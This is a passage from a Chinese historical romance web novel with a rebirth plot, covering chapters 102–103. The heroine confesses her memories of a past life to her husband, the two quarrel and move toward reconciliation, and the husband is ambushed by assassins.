尽管贺玄度不说,柳舜华还是看出当初他的踌躇。贺留善毕竟是他的父亲,要他彻底与他反目成仇,的确是有些为难。但刘昌退位一事,贺丞相毫不犹豫下令射杀大姐,让他看清贺丞相的本质。如刘昌所言,他已经站在相府对立面,若是心软,不但是他,连带着刘九生与整个柳府,下场只会比刘昌更惨。 他们已没有退路。 这些日子,她终于闲下来重新梳理上辈子之事。 贺玄度院内的那场火,起得有些蹊跷。 她怀疑过,是不是程氏知晓贺玄度对他起了杀心,先下手为强。可她若纵火,怎会选在儿子大婚前夕。 若是天灾,可他院内人伺候一向谨慎,好端端的,怎么突然就起了大火? 还有,丞相府造反究竟有没有成功?到底是何结局? 她叹了一声,真是,死得太早了。 不过,贺玄晖既然重生,却依旧选了刘九生,或许,上辈子,相府真的造反成功了。 但往好处想,贺玄晖自以为重生,掌控上辈子结局,可却想不到她也是重生。她正好可以好好想想办法,利用这个改变局势。 关于上辈子之事,她要寻个时机,向贺玄度坦白。 帘子掀开一角,芳草带着梅好进屋。 梅好一进来,扑通一声跪在地上,“多谢二少夫人开恩。” 柳舜华忙将她扶起,“梅好姑娘,昨日看你似乎受了惊吓,来不及问,你为何会在此?” 梅好垂下眸子,怯怯道:“那日,听了二少夫人的话,我本是想攒够本钱,寻一个可靠之人,远离长安。可人还未找到,便被丞相夫人买来。如今,我卖身契在她手里,只能任由她处置。” 梅好姑娘长相柔美,瞧着楚楚动人,程氏能找上她,不足为奇。 柳舜华与她也算有些故交,想了想,认真道:“卖身契我一时半刻拿不到,要委屈你先跟着我了。” 梅好闻言,纤长的睫毛轻轻颤动。她原本低垂着头,此刻却微微抬起,一双秋水般的眸子泛着盈盈水光,静静地望着柳舜华。 她没想到,柳舜华竟会替她考虑这么多,连拿回卖身契都替她想好了。 “二少夫人,夫人她命我盯着您的一举一动,我其实……”她声音轻得几乎听不见,指尖无意识地绞紧了衣角。 柳舜华神色未变,只轻轻一笑,“我知道。” “那你为何,还留我在身边?”梅好问。 柳舜华看着她,缓缓道:“没有你,也会有其他人。比起别人,我宁愿帮你。” 梅好声音哽咽,“二少夫人,为何要帮我?” “这世道,女子活着已是不易,又谈何出路。”柳舜华看着高墙外的天空,眼底含着淡淡的悲悯,“只要心术正,我能帮一个是一个吧。” 贺玄度回来时,正撞见梅好从厅内出来。 他进了屋,见柳舜华斜倚在榻上,发间一支白玉簪在日光下莹润生辉,衬得她愈发温婉动人。伸手解下大氅,腻歪在柳舜华身边,手伸进她衣袖内,“外头太冷了,夫人帮我暖暖。” 柳舜华温热的掌心握住他的手,“出门时不是让你带手炉吗?” 贺玄度笑道:“我一介男子,出门带着个手炉,让人看到了岂不笑话。” “活该!”柳舜华狠狠在他掌心一掐。 “疼,疼,疼。”贺玄度装模作样地叫了起来。 柳舜华哪能真下狠手,知道他在装,斜了他一眼,伸手拿过手炉塞他手里。 贺玄度乖乖捂住手炉,“那个梅好,先别急着放她走。” “哦,”柳舜华拖着长音,“昨夜不是还要将人送走,怎么今日就改主意了。” 贺玄度凑过去,嬉皮笑脸道:“你吃醋了?” 柳舜华推开他,仰头道:“谁吃醋了。” 贺玄度笑了笑,随即正色道:“梅好,极有可能是千机阁的人。” 想到梅好柔弱无依的模样,柳舜华愕然,“怎么可能?” 贺玄度:“你仔细想一想,她第一次出现是什么时候?” “望月楼,刘昌要她陪着一起用膳。”想到与刘昌第一次相遇时的情景,柳舜华忍不住一笑。 贺玄度点头,“正是,那次刘昌面圣,险些被先帝怪罪。如今彭城王入长安,她又出现在相府。还有,此前突袭都尉府的要犯,逃到长安,便是躲进了千陶坊。” “那你打算如何?” 柳舜华面色凝重,贺玄度分析得不无道理,可她却始终觉得,梅好对她并无敌意。 贺玄度揉着额头,“先放着吧,留下 :. 她,看她有何举动。” 看柳舜华似乎松了一口气,贺玄度又叮嘱道:“总之,你小心为上。近日院内调来不少暗卫,你若觉得不对,大叫一声便可。” 柳舜华早留意到,院内最近来了几个生人,原来是保护她的暗卫。 陪柳舜华用过午膳,两人携手去探望老夫人。 老夫人方用过膳,在内室闲坐。听闻丫鬟通报,让嬷嬷扶着坐起身来。刚整理好衣襟,就见一对璧人相携而入。 贺玄度一袭靛青色锦袍,俊朗挺拔;柳舜华穿着藕色曲裾,眉目如画。两人十指相扣,衣袖相叠,端的是鹣鲽情深。 “宁儿最近气色好多了。”老夫人笑着打量贺玄度,“可见是有人照顾得周到。”说罢意有所指地看向柳舜华。 柳舜华闻言耳尖微红,低头抿嘴一笑。 贺玄度大大方方地握住她的手:“能娶到蓁蓁,是孙儿有福气。” 老夫人惧寒,内室炭火正旺,铜温酒樽飘着醪糟的甜香。 老夫人拉过柳舜华的手捂在掌心:“这么凉,快饮些热酒暖暖。” 贺玄度倒了一小杯递给柳舜华,转头对老夫人道:“祖母,您可不能贪杯了。” 老夫人笑道:“你看看你,成婚后规矩越来越多,板着个脸,小心蓁蓁嫌你无趣。” 柳舜华正喝着酒,差点被呛到,能说贺玄度板着脸无趣的,也就只有老夫人了。 屋内酒香袅袅,几人说着家常话,时不时传出阵阵笑声。 柳舜华看着老夫人,只觉得这样平淡温馨的午后,比什么富贵荣华都来得珍贵。 老夫人嗜睡,不消片刻便又困了。贺玄度还有事要处理,先退了出去,柳舜华舍不得老夫人,执意要留下看老夫人入睡。 回到院内,柳舜华一眼便看到芳草正与梅好逗弄廊下的绿玉。 梅好歪着头,踮起脚尖凑近笼中的绿玉,一双杏眼睁得圆溜溜的,柔声问道:“绿玉绿玉,你冷不冷呀?” 芳草笑了一声,“你看它晒着太阳,懒洋洋的,哪里能冷到它。” 绿玉被两个小丫头闹得来了精神,忽然扑棱一下展开翠羽,字正腔圆地学舌:“夫人帮我暖暖!” 梅好吓了一跳,往后一缩,险些踩到自己的裙角,幸而被芳草一把扶住。两人对视一眼,又忍不住笑作一团。 柳舜华远远瞧着,梅好怎么看都是个好姑娘,怎么会是杀手呢? 这时梅好转头,看到了她,立刻规规矩矩站好行礼,方才笑得太欢,这会儿小脸还红扑扑的。 柳舜华缓步上前,让妙灵将从老夫人那里得的糕点递过去,“老夫人赏的点心,我这会吃不下,你们分了吧。” 芳草接了点心盒子,谢过柳舜华,拉着梅好坐到廊下便吃了起来。 柳舜华笑笑,对着妙灵道:“你也去吧,我累了,进屋歇会,不用你伺候。” 坐在榻上,方准备小憩一会,妙灵便打帘进来,“少夫人,大公子在外面。” 柳舜华皱眉,贺玄晖又过来做什么? 妙灵看出她的疑虑,接着道:“大公子说,他只说几句话便走。” 上次他见贺玄度,不知说了什么,惹得他好几日都有些不安,柳舜华怕他见不到她,又去找贺玄度,点头道:“让他进来吧。” 贺玄晖进入正厅,瞧见端坐在上方的柳舜华。 她悠然端着茶杯,纤细柔嫩的玉指托着杯底,窗棂透进的冬日阳光,为她的轮廓镀上一层朦胧光晕。 这样的柳舜华,贺玄晖看着有些恍惚。 自那夜梦回前世,他脑海中全是她上辈子的模样。 初嫁他时,她最喜颜色鲜亮的衣裳,娇媚明艳,像是春日枝头灼灼的桃花。后来,移居西竹院内,她渐渐沉寂。时而泼辣得与人对骂,时而端庄得像个陌生人,唯有眉间那抹化不开的愁绪,始终如影随形。 柳舜华放下杯盏,淡声道:“兄长今日前来,是又要讲故事吗?” 贺玄晖脸色微微一变,旋即笑道:“玄度又不在?” 柳舜华不动声色道:“大姐下月便要动身去瓜州,他去帮忙打点。” 听她说到贺容华,贺玄晖眉头皱起,“二弟有心了,明日我也去探望大姐。” 柳舜华不耐道:“兄长过来,是想说大姐之事?” 贺玄晖摇头,从怀中掏出一张纸递了过去。 柳舜华接过一看,竟是梅好的卖身契。她昨日才找人打听过,贺玄晖这么快便送过来。 她问:“兄长这是何意?” 贺玄晖看着她,缓缓道:“我只是,不想你再受气。” 柳舜华一怔,嘴角勾起一丝笑,“一个丫头而已,能让我受什么气?” 贺玄晖沉默不语,目光却愈发深沉。 前世,祖母过世后,母亲也曾塞给他一个年轻貌美的丫头。 柳舜华当时在西竹院内,听闻后气得呕了好几日。 她在西竹院本来过得便不好,流言一出,府内那些捧高踩低的下人们,对着她又是一阵奚落,阖府上下看她的眼神愈发轻贱。 他当即找上母亲,直言只钟情于刘妉柔,今生绝不负她,不需要什么丫头在旁伺候。 母亲气得摔了茶盏,骂他被刘妉柔迷了眼,不顾相府传宗接代。 他撩起衣摆跪在院内的青石板上,眼中是从未有过的决绝。 直到日落西山,双膝麻木,母亲终是心软了,让人将那丫头带了回去。 当晚,他去了西竹院。 柳舜华独坐在廊下,素白的衣裙几乎与月色融为一体,风吹着她散落的头发,纤细柔弱得像是一尊易碎的琉璃。 她仰头望着天上的月光,声音轻得似一缕烟,“贺玄晖,你既钟情刘妉柔,当初为何要娶我?” 贺玄晖将卖身契留下,缓缓起身走了出去。 临到门口,他停了一下,背对着她,并未转身,“人若是看着不顺,随你处置,不必顾忌我母亲,一切有我担着。” 贺玄晖走后,柳舜华望着桌上的卖身契,怔愣许久。 她想起了上辈子,想起了那日书房内,他说的那些话。 她开始有些相信,贺玄晖是真的曾经爱过她。 即便他曾真心待她又如何?那些独守空闺的漫漫长夜,那些被人轻贱的锥心之痛,早已将年少时的情意消磨殆尽。 更不必说,她早已爱上了贺玄度。 贺玄度回来的时候,已经有些晚了。 柳舜华没有睡,披着件裘衣,坐在书桌前,百无聊赖地翻着书。小白乖乖地躺在她的腿上,打着呼睡了过去。 看他回来,柳舜华起身,将小白放回笼内,伸手接过他解下的大氅。 梅好的卖身契正放在桌上,贺玄度瞥了一眼,面无表情地收回目光。 柳舜华没想瞒着他贺玄晖过来之事,拿起卖身契,“贺玄晖今日来过,这个是他送来的。” 贺玄度只是“嗯”了一声,出乎意料地没有在意。 柳舜华将卖身契举到他跟前,“你不好奇,他为什么突然送这个过来?” 贺玄度没有看,却转头看向笼内的小白。 许久,他才转过头来,淡淡道:“今日午后出门,我看到芳草喂了小白韭菜。” 柳舜华听他没头没脑地说着,笑道:“然后呢?” “兔子不能喂韭菜,养过的人都知道。”贺玄度忽然逼近一步,盯着她,“还有,我今日已经查过了。当年来相府表演的戏班,并未混进过什么小姑娘。” 柳舜华浑身一僵,心突然猛烈地跳动起来,手中的纸张枯叶般悠悠飘坠。 “蓁蓁,”他看着她的眼睛,“你到底是谁?” 第102章 第102章坦白 屋内光影朦胧,烛光映在柳舜华的脸上,像是一层薄纱轻轻覆住掩埋的秘密。 她本已无数次在唇齿间酝酿那些话,只是始终过不去心中那道坎,一拖再拖。如今被他发现,反倒有种前所未有的轻松。 她抬起头,缓声道:“原本也是要说给你听的,既然你都发现了,那就趁着今日,将我的秘密告诉你。” “你第一次见我,是不是觉得我很奇怪,对我充满戒备?”她笑了一下。 贺玄度神色骤然一滞。 初次相遇时,她望向他的眼神就透着说不出的蹊跷。那目光太过熟稔,仿佛穿透岁月长河,带着前世今生的了然。 还有,浮霞园那次,她挥毫泼墨间,一手行云流水的字迹引得满座惊叹。可那笔锋转折,分明与他有五六分相似。回程途中,他刻意接近试探,却被她三言两语敷衍过去。事后,他曾让暗卫打探过,说她曾在凉州生活,回长安后一直久居深闺。他的书法教自于外祖,外祖在凉州时广设杏坛。他想,或许她曾无意中得到过外祖真迹,也便没有深究。 再后来,她用小白之事,赢得他的信任,又陪着他出生入死,直至他彻底放下戒备,情根深种。 小白之事,知之甚少,他从未想过,柳舜华从一开始就在骗他。 柳舜华略带愧疚,“小白之事,我的确骗了你。贺玄度,对不起。” 贺玄度没有说话,只是静静地看着她,等她一个解释。 柳舜华深吸一口气,继续道:“贺玄度,你知道吗?咱们的缘分,从上辈子就开始了。” 贺玄度眉心一凝,“上辈子?” 柳舜华点头,缓缓道:“我曾经做过一个梦,梦到了自己的上一世。” “梦中那年我十六岁,机缘巧合救了老夫人一命。老夫人感念恩情,厚礼相赠,更是在寿宴上对我当众夸赞。相府出于自身考虑,在程氏的推波助澜下,匆匆到柳府提亲,要我嫁给……”她声音顿了顿,眼睫微垂,“相府大公子,贺玄晖。” 她抬眸望向贺玄度,眼底浮起一丝自嘲,“那时我年少无知,一时眼拙,被贺玄晖温润外表迷惑,竟真以为觅得良人,欢欢喜喜地应下了这门亲事。三个月后,我……嫁进了相府,成了相府长媳。” 贺玄度的心猛地一抽。 他想起那夜,贺玄晖同他说的那些话。 原来,贺玄晖说的都是真的,他们是真的曾经相爱过! 他声音淡得听不出半分情绪,平静得可怕,“所以,你们恩恩爱爱到了白头,是吗?” 柳舜华抓住他的手,摇头道:“不是的。嫁入相府后,我才发现,我不过是贺玄晖迎娶刘妉柔的垫脚石。大婚当夜,他连盖头都没掀就去了书房,将我晾在一边。我想着既已嫁给他,便试图挽回他的心,可换来的只有更深的羞辱。” 她声音渐渐低了下去,像是沉入一潭死水,“嫁进相府的日子……比想象中更难熬。” “程氏本就不喜我的出身,每次晨昏定省都要当众挑我的错处。不是嫌茶太烫,就是礼数不周。有一回,她更是故意打翻茶盏,滚烫的茶水泼在我手上,却说我连杯茶都端不稳。” “贺容暄更是处处针对于我,今日说我衣裳寒酸丢了相府脸面,明日就送来些过时的衣料。我若不穿,便是不识抬举;穿了,又成了阖府的笑柄。” “至于贺玄晖……”她微微一叹,“他更是正眼都不愿瞧我,冷眼看着我在府内被人作践。” “终于,我同他大吵一架,心灰意冷之下,搬进了西竹院。” 西竹院? 祖母寿诞那日,他思念母亲,去到西竹院。也正是在那里,他又遇到了柳舜华。 “搬进西竹院后,虽然远离了程氏,可日子却也并没有好过。” 她平静地说着,“下人们最会看人下菜碟,送来的饭菜时常是馊的,冬日里的炭火永远不够,最难过的是那年除夕,阖府团圆守岁,却没人记得西竹院里还有个少夫人。” 贺玄度听她说着这些过往,神色凝重,“此后,你一直在西竹院?” “搬到西竹院,是我嫁进相府做过的,最正确的决定。”柳舜华握紧他的手,“因为,在那里,我遇到了你。” “在你那个梦中,有我?”贺玄度垂头,“那你梦里的我,是什么样的?” “你,很好,很好。”柳舜华看着他,眼中泪光点点,“我原以为,相府后院那方寸天地,便是我全部的命数。若不是你,我只怕两辈子都活不明白。” “我在相府孤立无援,整日自怨自艾,浑浑噩噩在后院勉强度日,是你教我读书识礼,让我去外面看看更广阔的天地。正因为有你,才有了今日站在你面前的柳舜华。” 月光透过窗棂,在贺玄度素白的衣袍上流淌,她痴痴望着他,“你总是一袭白衣,清冷淡漠得像是九天之上遥不可及的明月。我……我心慕之。所以,我努力按着你喜欢的样子,开始装扮自己,让自己看起来端庄明理。我读你读过的书,临摹你写过的字,尽最大的努力,跟上你的脚步。” 贺玄度沉默许久,她口中的他,让他觉得……很陌生。 他压下心内翻涌的情绪,问道:“后来呢?” “后来,贺玄晖即将迎娶刘妉柔,我便想趁此机会,与他和离。大婚前夜,我去他书房,想商议和离之事,却无意间听到了相府的大秘密。”她攥紧双手,“贺玄晖迎娶刘妉柔,只是一个幌子。相府,要造反。” 贺玄度蓦地抬头,“怎么可能?” 父亲若真觊觎皇位,又怎会费尽心机扶植新帝? 更何况,他一生爱惜声名,要做的是权倾朝野的权臣,而非遗臭万年的乱臣贼子。 柳舜华点头,“是真的,我亲耳听到,不会有错。” “我不慎被守在书房的侍卫发现,自知听了这么大的秘密,他们定不会放过我。偏那时我又生了一场大病,身体虚弱,无处可逃,便朝着你院内跑去。” 贺玄度眸色一沉,她在濒死之际,想到的是他。 柳舜华继续道:“可是,等我跑到你院内,只瞧见冲天的大火,火势凶猛,而你……没有逃出来。” 上辈子,他死了?就这么轻易地死了? 贺玄度眉头皱起,“你看到了我的尸身?” “没有,是洪声说,你在里面。”柳舜华低头,看着他的腿,“上辈子,你腿脚不便,一直坐着轮椅,所以……” 贺玄度愕然抬眸。 怪不得,她第一次见到他时,一直盯着他的腿。 怪不得,她总是担忧他的腿会不会出事。 怪不得,他断腿的时候,她能第一时间替他包扎。 他沉默许久,问道:“那最后,结局如何,父亲造反成功了?” 柳舜华摇头,“不知,在看到结局之前,我已经死了。” “我拼了命逃到你院中,听闻你的死讯,心如死灰,恰好这时你父亲还有贺玄晖追了过来。我自知没有活路……转身,投入火海。” 贺玄度浑身猛地一震,柳舜华同他一样,死在那场大火里。 她竟然为那个他而死! 窗外惊雷炸响,雨点如刀般劈在窗棂上。 烛火剧烈摇晃,在他惨白的脸上投下支离破碎的阴影。 他盯了柳舜华许久,缓缓收回目光,转头望向无尽的暗夜,突然道:“你见到我时,一定很失望吧?” 柳舜华一愕,没想到他会这么问。 贺玄度缓缓闭上眼,想到她此前看他时的眼神,那种透过他这副皮囊,寻找另一个人的眼神,只觉得有一把钝刀,正生生剖开他的胸膛。 在他无助彷徨之时,柳舜华来到他的身边。 她陪他斗鸡走狗,对他嘘寒问暖,义无反顾地站在他这边。 原来,她眼中那份炽热……不过是因为上辈子那个他! 他凄怆的身影,随着疯狂摇曳的枯竹映在窗上。 “从始至终,你爱的,都是前世那个陪你度过苦难,朗月清风的贺玄度,是不是?” 他声音缥缈似雾,散在深浓的夜色中。 柳舜华瞳孔骤然一缩。 她想到贺玄度可能会吃醋,会介意她曾嫁给过贺玄晖。 为此,她早已在心中演练过无数次,要如何说服他,证明她这一世从未考虑过贺玄晖。 可她独独没想过,贺玄度会这么想。 她从未想过这个问题。 直到如今,他问她,爱的究竟是谁? “我……”她急着开口,却一时不知要如何解释,抬头问:“玄度,若你回到上辈子,碰到那个只会自怨自艾,在深宅内院腐朽了半边的那个我,你会失望吗?” 贺玄度愣了一下,没有回答,只是将她的手轻轻扒开,“蓁蓁,咱们……还是给彼此一点时间,好好想想吧。” 温热的掌心从她指间抽离,带走了最后一丝温度。 她下意识蜷起空落落的手指,想去抓他的手,贺玄度却头也不回地走了出去。 廊外暮色沉沉,将他的身影一点点吞没。 柳舜华无力跌坐在床边。 她的心有些乱! 夜越来越冷,她裹着锦被,贴在冰冷的墙壁上,眼泪无声滚落,浑浑噩噩中睡去。 恍惚中,眼前是一片无 垠的莲池。碧叶接天,菡萏摇曳,贺玄度依旧一袭白衣,清雅如谪仙,端坐于轮椅上,微笑着向她伸出手。她正要提裙奔去,忽有薄雾自水面升腾,渐渐模糊了他的身影。她慌忙向前,雾气却愈发浓重,待她踉跄穿过,莲池寂寂,贺玄度不见了踪影。 一声惊雷,柳舜华从梦中醒来。 “玄度,我怕。”她伸手向一旁抱去。 指尖触到的只有冰凉的绸缎,身旁空空荡荡,贺玄度不在。 无边的孤寂与巨大的失落在黑夜中被放大! 柳舜华从梦中回过神。 蓦然惊觉,不知从何时起,她已不再透过贺玄度去寻找前世的幻影。 初遇那日,她确实失望过。眼前这个桀骜不羁的少年,与记忆中那个清冷如月的公子的确判若两人。 可接触下来,她深信,他灵魂深处,依旧是那个贺玄度。 那个绝不会让她受委屈,默默包容她,理解她的贺玄度。 她爱贺玄度,却从未将他当作一个替身。 她爱的是眼前这个,会生气、会吃醋、会为她急得团团转的活生生的人。 想通这层,她心中彻底轻松下来。 等天一亮,她要去找贺玄度。 她要让他知道,她的心里已有了答案。 出了门,贺玄度就后悔了。 雨飘过长廊,沾湿了他的外衣,衣摆沉甸甸地坠着。 夜风吹得他神识清明,回想起柳舜华所言,始觉惊世骇俗。 方才,他根本来不及多想,一开始心思全在柳舜华与贺玄晖的纠葛上,心中暗暗吃味。 后来柳舜华提到前世那个他,望向他的眸中,又露出那种熟悉的尊崇与迷恋。 他清楚,那是一种专属于前世那个他的眼神。 再后来,听到她竟为了那个他,义无反顾地奔向火海,心中翻涌的醋意酿成滔天巨浪,彻底将仅剩的理智击得粉碎。 如今冷静下来,想着离开时,柳舜华问他的那句话。 若是回到前世,遇见那个自怨自艾的柳舜华,他会失望吗? 当然不会! 不管她是否换了容貌,变了性情。 只要她是柳舜华,他一定会穿越茫茫人海找到她。 然后,紧紧抓住她,再不放手。 贺玄度后悔极了。 这次柳舜华没追出来,一定是被他的话给气到了。 他想折回去,可越过院墙,见屋内的灯已经熄灭。天寒地冻的,他实在不想再去折腾她。 周松瞧他自正房出来,便坐在灯下眉头不展,打着哈欠劝他早些歇息。 彭城王入长安,朝中局势岌岌可危,他们要做的事多着呢。 贺玄度没有理他的催促,问:“你觉得,眼下能买到樱桃吗?” 周松:“啊?” 贺玄度自顾自道:“好像是有点困难,那如果,移植一株樱桃树到温泉边种上,能不能快些成熟?” 周松:“啊?” 贺玄度一拍手:“这样,明日一早,你便去买樱桃树,直接去城南温谷找我。” 周松眼一眯,懂了,他这是,又惹少夫人生气了。 第103章 第103章公子被人抓走了 柳舜华醒来时,天蒙蒙亮,雨已经停了。 她起床后,由银纤姑姑陪着去了小厨房。 贺玄度在长安时,常以纨绔示人,养尊处优;在凉州时,又常随军出征,风餐露宿。所以,他对吃食上看似要求精细,却并无偏好。 但柳舜华依旧想亲手做一顿早饭给他。 她亲自捞了备好的鲜鱼,取中段厚肉,切成蝉翼般薄片,余骨留在一旁。起锅烧油,将姜片煸至微焦,放鱼骨进去文火慢煎,待两面金黄,倒入几碗井水。 熬煮小半个时辰,滤出鱼骨,将粳米徐徐倒入沸腾的汤中,缓缓搅动。 切好的鱼片铺于青瓷碗底,柳舜华熟练地将滚粥高冲入碗,撒少许细盐,点缀一小撮胡荽。 她本不擅烹饪,上辈子迫于无奈,经常在荷塘里抓鱼,一来二去,处理起鱼来,格外得心应手。 她不喜下厨,贺玄度又在吃食上不上心,成婚后并未为他做过早膳。 如今,她低下头,带着十足的诚意求和,想必贺玄度应当会静下心来,听她解释。 贺玄度睡在书房,这会门还未开。 他向来不喜旁人近身伺候,更不许人随意进出书房,连晨起时也不留小厮在门外候着。 柳舜华料他昨晚也不得好眠,没有叩门,只提着食盒,蹲在书房前石阶上。 她怕鱼粥冷了不好吃,小心翼翼地将食盒抱在怀里。 晨风微凉,卷着庭前竹叶,掠过她的裙角。 洪声一过来,便见柳舜华微垂着头,一袭长裙委地,孤零零地坐在石阶上。 “少夫人,您怎么坐在这?” 柳舜华忙起身,“我做了早膳,来送给玄度。” 洪声摸着头,一脸疑惑,“二公子一早便与周松出去了,他没同少夫人讲吗?” 公子一向视少夫人如宝似玉,怎么舍得让少夫人等他这许久? 柳舜华掩不住失落,勉强一笑,“哦,我知道了。” 穿过回廊,冷风吹得她直打颤。 贺玄度这回是真的生气了,他有意避着她。 想到这,柳舜华便像霜打的茄子,一下蔫了。 她提着食盒,郁郁回到院中。 柳舜华今日一大早便爬起来到小厨房做早膳,院内伺候的人都知道,她这是要讨二公子欢心。如今欢欢喜喜地去,失魂落魄地回来,个个面面相觑。 少夫人亲自动手,二公子就算不欣喜若狂,也不至于是这副表情才对。 妙灵上前,试探道:“少夫人,二公子不喜欢鱼粥吗?” 柳舜华趴在榻上,悻悻道:“他不在,一大早便出门了。” 芳草思索片刻,很快反应过来。 昨夜两人分房而睡,想是闹了什么不愉快。今日一大早,小姐便亲自做了早膳过去,谁知姑爷负气出走。 于是劝慰道:“少夫人,二公子平日里待您如何,大伙都看在眼里。您有这份心,他见了定然欢喜。只是,如今他人不在而已,您可不能闷着自己。” 柳舜华翻个身,看着笼内的小白,扭过头去。 梅好皱着眉,嘟囔道:“真是可惜了小姐的手艺。” 柳舜华想了 想,起身道:“算了,他不在,东西浪费了可惜,咱们自己吃吧。” 一顿饭吃下来,芳草与妙灵小心翼翼,不时观察着柳舜华的反应。 梅好却吃得分外愉悦,不时夸赞柳舜华手艺惊人,从未吃过这么好吃的粥。 芳草与妙灵看了她一眼,无奈摇头,她还真是心大,没看出来二公子与少夫人在闹矛盾吗? 用过膳,柳舜华先去看了老夫人,随后父亲差人来请她回府。 柳舜华不知贺玄度什么时候回,便独自回了柳府。 回到柳府,才知父亲请她来的意图:要将孙姨娘扶正。 柳奉叹声道:“芊芊丫头入宫,眼下虽只是暂封婕妤,但以皇上对她的疼爱……作为父亲,我自然是想她好,不能拖她的后腿。” 柳舜华理解,本朝对嫡庶之别虽不十分看重,但到底嫡出更有底气。 柳奉见柳桓安兄妹并未说话,接着道:“孙氏品性虽一般,但这些年,为这个家,也不少操劳。” 柳舜华道:“父亲,我对此事并无任何不悦。芊芊如今身份特殊,孙姨娘作为她的生母,这是她应得的。” 柳桓安点头,“蓁蓁说得是。芊芊是我们的妹妹,我们也希望她好。” 柳奉长舒一口气,又颇为伤感,“我到底……负了你们母亲,待我百年后归去,只盼着,她能原谅我。” 柳舜华没有说话,所谓名分,不过一个虚名而已。 她上辈子倒是顶着相府长媳的虚名,有什么用? 柳奉说罢,便去了祠堂。 孙姨娘得了消息,喜不自胜,跑到正厅,对着柳舜华笑意盈盈,邀她留下用午膳。 柳舜华本就有事要找兄长商量,遂点头应下。 孙姨娘忙让下人张罗着备菜。 柳舜华看着她的背影,嘴角一勾,“当初她最看不起芊芊,如今还不是靠着芊芊才上位。” 柳桓安笑道:“你今日,说话怎么这么刺。” 柳舜华转过头,“有吗?” 柳桓安倒了一杯茶递过去,“你同玄度闹别扭了?” 柳舜华下意识否认,“没有。” 柳桓安淡淡一笑,“贺玄度成日跟着你,你回来这么大的事,他若是知晓,怎么可能不跟过来。” 柳舜华垂眸道:“兄长多心了,您知道的,近日事多,他忙着呢。” 柳桓安早知贺玄度不会瞒着蓁蓁,索性摊开了说,“是啊,彭城王入长安,如今在王府蠢蠢欲动,频频联络多方势力,着实有些让人心忧。” 柳舜华不记得上辈子彭城王是何结局,但一直到她葬身火海,刘九生这个皇帝坐得还算相对安稳。 她道:“彭城王?有贺丞相在,让他们两虎相斗,岂不更好。” 柳桓安笑道:“蓁蓁同我们想得一样,放心,不到迫不得已,我们绝不会贸然出手。” 柳舜华抬眸看着柳桓安,他脸上是一如既往的淡然。 她道:“兄长,我有件极重要的事,要同你讲。” 柳桓安听完,双手紧紧按在座椅边缘,久久回不过来神。 柳舜华所讲之事,实在匪夷所思,他头脑有些混乱。 初时听着,他只觉得她是做了个梦,胡思乱想罢了,可想想她近来的言谈举止,又不得不信。 比如,她为何一夜之间练就了让人惊叹的书法,为何非要阻止芊芊嫁于刘九生,又为何对还是纨绔的贺玄度如此上心。 当然,最让他震惊的还是,丞相府居然造反,以及……刘妉柔嫁给了贺玄晖。 他缓过神,问道:“你梦到前世之事,还有谁知晓?” 柳舜华道:“只昨日,说于玄度听。” 柳桓安稳住心神,叮嘱道:“此事过于诡异,又涉及朝局,千万不要同外人讲。” 说完犹有些不放心,加了一句,“便是父亲,也不能说,少一个人知晓,便少一分危险。” 柳舜华点头,“我知晓。你同玄度与刘九生绑在一起,我特意说于你们,也是希望你们能早做打算。何况,如今,贺玄晖他……也记起了上辈子之事,再对付丞相府,只怕是难上加难。” 柳桓安凝眉片刻,“这样,你回去告诉玄度,让他明日想办法出来一趟,我要与他详谈。” 用过午膳,柳舜华被孙姨娘叫去拉家常,心内却始终抱着一丝期待,希望贺玄度能过来接她回去。 一直等到太阳将要落山,贺玄度依旧未现身。 柳舜华一颗心跟着沉了下去,向众人道别后,乘坐马车回相府。 贺玄度天不亮便到了温泉池,此处是刘长临家的产业,管事之人认得他,对他有求必应。 等到太阳升至半空,周松才让人拖着樱桃树过来。 贺玄度悠然起身,“你怎么这么慢?” 周松吭哧着坐下,灌了几口水,“你试着……去,去……” 贺玄度塞了块糕点给他,“别废话,你先歇着吧。” 周松办事牢靠,眼前的樱桃树足有两三人高,已经结了密密的小青果子。 贺玄度差人请了花匠,将树栽好,围着树看来看去。 周松缓了口气,“这是附近寻来的,说是三月底便能成熟,若是温度够适宜,约莫着二月便能吃上。” 贺玄度拍着周松笑道:“好小子,做得不错!” 周松见树已栽好,催促道:“如今多事之秋,您就少折腾点,早些回去吧。等回去了,向少夫人赔个理道个歉,少夫人也不是小气之人,定不会同你计较的。” 贺玄度抬头,嘴硬道:“我怎么可能赔礼,要道歉也是她先开口才行。” 周松看了他一眼,眼神复杂。 贺玄度向花匠叮嘱一番,正要转身离开园子,眼角余光却猛然瞥见假山后一道黑影一闪而过。 他不动声色地按住腰间的佩刀,目光刀锋般扫向那处阴影。 周松明显也发现了异常,眼神示意贺玄度。 两人对视一眼,心知肚明,有人盯上他们了。 “走!”贺玄度低喝一声,步伐陡然加快。 方出园门,贺玄度纵身跃上马背,缰绳一扯,马匹嘶鸣着冲了出去。身后周松紧随而上,马蹄声急促如雷,踏碎了山间的平静。 马匹才奔出不到一里,道路两侧的深草丛中突然寒光闪动。 下一刻,几十支破空而来的箭矢,雨落似的齐齐飞来。 贺玄度迅速俯身贴紧马背,右手已抽出腰间长刀。 刀锋映着血色残阳,杀气森然。 “突围,走小路!”贺玄度对着周松低声道,猛地勒转马头。 马蹄扬起,溅起一片猩红的尘土。 前方岔路狭窄,两侧古木参天,正是摆脱追兵的好去处。 电光石火间,林中突然“唰”的一声,数十道黑影如鬼魅般骤然窜出,瞬间将二人团团围住。 为首的黑衣人缓缓摘下蒙面巾,露出一副熟悉的面容。 “贺二公子,又见面了。” 今日回门,柳舜华从正门出,回去时,便也走了正门。 谁知刚迈过门槛,迎面就撞上贺容暄送李舒君回去。 贺容暄见是她,眼神一扫,故意侧身挡住半边门。 “嫂嫂这是做什么?李小姐如今可是贵客,您这般横冲直撞的,是要让客人等着您先过?”她柳眉倒竖,声音陡然拔高,“这便是嫂嫂的家教吗?” 李舒君脸色有些尴尬,略带歉意地看向柳舜华。 柳舜华瞥了一眼,方才她半只脚都快踏进门槛了,贺容暄都未曾走到门廊。 她不忍李舒君为难,毕竟此前几次,她待她还算和善。 于是身子一侧,笑道:“李小姐先请。” 李躬身还礼,“多谢。” 贺容暄白了她一眼,手中的绢帕轻轻掩住嘴角,眼中闪烁的恶意。 李舒君才踏过去,忽听“啊呀”一声尖叫。 贺容暄身子猛地一歪,手中绢帕高高扬起,整个人摔在青石阶上。 柳舜华一愣,怎么好端端地就摔了。 “疼……快扶我起来啊!” 李舒君先反应过来,慌忙去扶。 